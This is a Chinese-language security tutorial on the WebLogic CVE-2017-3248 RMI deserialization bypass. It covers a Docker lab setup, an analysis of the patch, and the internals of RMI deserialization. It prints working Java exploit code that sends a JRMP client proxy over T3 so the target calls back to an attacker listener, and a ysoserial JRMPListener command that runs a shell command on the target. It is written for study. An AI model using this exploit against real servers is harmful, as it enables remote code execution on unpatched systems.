【技術分享】RMI初探—Weblogic CVE-2017-3248反序列化漏洞 - 網安 - 專業的網絡安全產業、社區、知識平臺

0×1漏洞背景

該漏洞是繼CVE-2015-4852、CVE-2016-0638、CVE-2016-3510之后的又一個重量級反序列化漏洞。該漏洞使用了在當時為新型技術的rmi反序列化漏洞繞過了之前的修補補丁。適用版本包括了10.3.6.0、12.1.3.0、12.2.1.0以及12.2.1.1等多個版本。筆者將從環境搭建、漏洞補丁分析、繞過方法思考、payload構建等多個方面進行研究，盡可能的將一些坑點和知識點摸排清楚，從0到1學習weblogic反序列化。

0×2環境搭建及補丁安裝

0x1 環境搭建

1.1 現成環境

可以采用現成的docker環境，執行以下命令生成對應版本的docker

docker run -d -p 7001:7001 -p 8453:8453 turkeys/weblogic:10.3.6

1.2 自動搭建

利用Docker自動化搭建，在github下載搭建代碼

[https://github.com/BabyTeam1024/WeblogicAutoBuild.git](https://github.com/BabyTeam1024/WeblogicAutoBuild.git)

本次實驗環境采用jdk7u21和weblogic 10.3.6.0，在jdk_use和weblogic_use文件夾下存放相對應版本的程序

執行如下命令：

./WeblogicDockerBuild.shdocker-compose up -d

詳情可參考https://www.yuque.com/docs/share/c95cbc62-d853-4de3-94ff-282b2de3b456

0x2 補丁安裝

本次使用的補丁是 p23094342_1036_Generic.zip（需要補丁的同學可以聯系筆者獲取）

獲取到補丁后用如下指令進行安裝

cd /weblogic/oracle/middleware/utils/bsu./bsu.sh -install -patch_download_dir=/weblogic/oracle/middleware/utils/bsu/cache_dir/ -patchlist=UIAL -prod_dir=/weblogic/oracle/middleware/wlserver
補丁信息如下

0×3補丁分析及繞過

0x1 補丁分析

第一時間拿到補丁后，使用之前的CVE-2016-3510 payload打了下沒有反應，并且從log中發現如下報錯

從報錯中清楚的了解到MarshalledObject是不可被反序列化的。反過頭來看下補丁是如何修補的。頭腦簡單的筆者一開始認為這次又是添加了什么白名單，就在各種blacklist中瘋狂尋找，無果，郁悶了半天。突然在使用idea分析時在補丁包中發現了一個MarshalledObject.class文件，如下所示

筆者為了證明是這個相同包路徑的接口影響了MarshalledObject反序列化，做了以下操作

mkdir testcp BUG23094342_10360160719.jar test/tar xvf BUG23094342_10360160719.jarrm BUG23094342_10360160719.jar rm weblogic/corba/utils/MarshalledObject.classtar -cvf BUG23094342_10360160719.jar ./

然后再使用CVE-2016-3510 payload試了下，發現可以成功

那么總結下這次補丁是編寫相同包名和類名的接口覆蓋之前的類，使其變得不可反序列化，妙啊！

0x2 前置知識-RMI反序列化

理論上講找個類替代MarshalledObject的功能即可完成繞過，但這次并沒有這么做，而是引出了一種比較有意思的反序列化漏洞，RMI反序列化漏洞（關于這個系列的漏洞，筆者打算單獨開個板塊進行分析）。這次主要介紹如何繞過該補丁。

RMI 為Java遠程方法調用，是Java編程語言里，一種用于實現遠程過程調用的應用程序編程接口。它使客戶機上運行的程序可以調用遠程服務器上的對象。RMI反序列整個體系比較復雜，但一般掌握了其中幾個知識點就可以應對很多場景了。筆者在整理RMI知識的時候，總結了RMI通信過程中可利用的反序列化點

大致分為三類

客戶端觸發，服務端觸發和注冊中心觸發，ysoserial中涉及的幾個反序列化點都在對應的地方標注了。

客戶端觸發

1.當客戶端向注冊中心發送lookup數據包時注冊中心會把stub對象返回給客戶端并在客戶端觸發readObject

2.當客戶端使用StreamRemoteCall與遠程通信時，在executeCall函數中存在反序列化在客戶端觸發readObject(payloads/JRMPClient配合exploit/JRMPListener)

3.當客戶端使用DGCImpl_Stub與DGC服務端交互式時會在dirty函數中反序列化遠程傳遞過來的Lease對象序列化后的數據，在客戶端觸發readObject

服務端觸發

1.當客戶端向服務端發送調用遠程方法的請求時會先使用DGCImpl_Stub和服務端通信，在處理dirty請求時會在對象申請和引用的時候在服務端觸發readObject(exploit/JRMPClient，可配合payloads/JRMPListener)

注冊中心觸發

1.當客戶端向注冊中心發送lookup數據包時會把binding中stub對應的String類型名字以序列化的形式發送，注冊中心收到數據包后，將會在注冊端觸發readObject，反序列化傳過來的名字。

2.當服務端或客戶端向注冊中心（RegistryImpl）bind綁定stub的時候會在注冊端觸發readObject(exploit/RMIRegistryExploit)

3.當服務端或客戶端向注冊中心（RegistryImpl）unbind解綁stub的時候會在注冊端觸發readObject

4.當服務端或客戶端向注冊中心（RegistryImpl）rebind重新綁定stub的時候會在注冊端觸發readObject

0x3 RMI反序列化原理

CVE-2017-3248 可采用客戶端或是服務端觸發兩種方式繞過上次漏洞補丁。重點分析payloads/JRMPClient配合exploit/JRMPListener完成此次攻擊利用的深層次原理。

payloads/JRMPClient的反序列化背景是客戶端獲取到來自RegistryImpl_Skel的回應后，將會調用DGCClient的與遠程DGCServer進行通信。調用棧如下

主要問題出現在StreamRemoteCall.class類的executeCall函數上

觀察發現this.in為ConnectionInputStream類型并沒有黑名單的限制，因此只要服務端可控，就可以像客戶端發送任意反序列化數據。

碰巧的是在RemoteObjectInvocationHandler的反序列化代碼里會調用這個StreamRemoteCall類里的executeCall方法

結合之前的調用棧dgc.dirty函數就已經可以觸發到executeCall代碼

0×4利用方法

0x1 如何構造Payload

前面分析了漏洞原理，那么客戶端需要構建怎樣的代碼才能觸發到反序列化呢？這個還要從rmi機制說起，詳細內容可以將會在之后的rmi專題進行講解，這里只是把大概邏輯捋一捋，這一節會有很多類和變量，不理解沒關系主要了解過程。

首先思考一個問題，RMI客戶端如何調用遠程服務器上的其他類？RMI機制是這么做的，涉及到對端調用的類將會生成類似Stub和Skel的對等結構，其中Stub在客戶端保存（客戶端可自己生成比如RegistryImpl_stub，也可通過網絡通過網絡從服務端獲取Proxy(MyclassImpl)）。因為我們只分析客戶端，這里引出一張客戶端RMI調用流程圖

黃線：客戶端首先調用getRegistry函數生成注冊中心Stub（RegistryImpl_stub）
黃線：接著通過lookup方法與遠程服務通信，遠程服務會在ObjectTable中匹配該stub包含的Target，進行路由分發
紫線：服務端接收到lookup請求后，會將已經生成好的代理類Proxy(MyclassImpl)返回給客戶端
綠線：客戶端收到代理類Stub，直接調用其中的方法就會與遠程服務通信并在遠程執行相關代碼

我們重點關注下紫線部分的處理流程，服務端到底返回的是個什么東西，我們找到服務端啟動代碼

當代碼執行到13行時，因為UserImpl繼承了UnicastRemoteObject類并且在構造方法里調用了父類構造方法，所以將會執行UnicastRemoteObject類中的構造方法

構造方法會調用exportObject

下面重點來了，如何封裝傳遞給Client端的Stub

方便理解筆者倒著分析，在最后利用RemoteObjectInvocationHandler代理了我們需要執行的類，那么RemoteRef是如何而來的，從當前代碼中只能看見時getClientRef獲取到的

getClientRef代碼如下，this.ref是什么時候賦值的？

在UnicastRemoteObject構造方法一開始時就賦值了，sref如何生成

sref其實是UnicastServerRef是UnicastRef的子類

在其構造方法中創建了LiveRef對象并賦值給了UnicastRef的ref變量

可能會有些繞，整體可以總結為如下代碼

ObjID id = new ObjID(new Random().nextInt()); TCPEndpoint te = new TCPEndpoint("192.168.0.213", 7777);UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);

仿照服務端的createProxy函數，將RemoteObjectInvocationHandler封裝進代理類。

(Registry)Proxy.newProxyInstance(cve_2017_3248.class.getClassLoader(), new Class[]{Registry.class}, obj)

利用代碼如下所示，完整項目代碼在https://github.com/BabyTeam1024/CVE-2017-3248

package main;
import com.supeream.serial.Serializables;import com.supeream.weblogic.T3ProtocolOperation;import sun.rmi.server.UnicastRef;import sun.rmi.transport.LiveRef;import sun.rmi.transport.tcp.TCPEndpoint;import java.lang.reflect.Proxy;import java.rmi.registry.Registry;import java.rmi.server.ObjID;import java.rmi.server.RemoteObjectInvocationHandler;import java.util.Random;
public class cve_2017_3248 {    public Object getObject(){        ObjID id = new ObjID(new Random().nextInt()); // RMI registry        TCPEndpoint te = new TCPEndpoint("192.168.0.213", 7777);        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);        Registry proxy = (Registry)Proxy.newProxyInstance(cve_2017_3248.class.getClassLoader(), new Class[]{Registry.class}, obj);        return proxy;    }    public static void main(String[] args) throws Exception {        Object obj = new cve_2017_3248().getObject();        byte[] payload2 = Serializables.serialize(obj);        T3ProtocolOperation.send("127.0.0.1", "7001", payload2);    }}

0x2 整合利用

整個過程使用JRMP Server端反打Client端

Step 1 使用JRMPListener監聽端口

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar  ysoserial.exploit.JRMPListener 7777 CommonsCollections1 'touch /tmp/D4ck'

Step 2 發送漏洞payload

反序列化數據中包含rmi 客戶端鏈接代碼

0×5總結

CVE-2017-3248 使用了RMI反序列化漏洞，也揭開了筆者分析RMI漏洞原理的新篇章。后面將不斷分析Weblogic相關反序列化漏洞，以及系統總結整理RMI反序列化漏洞的基礎知識和簡單利用。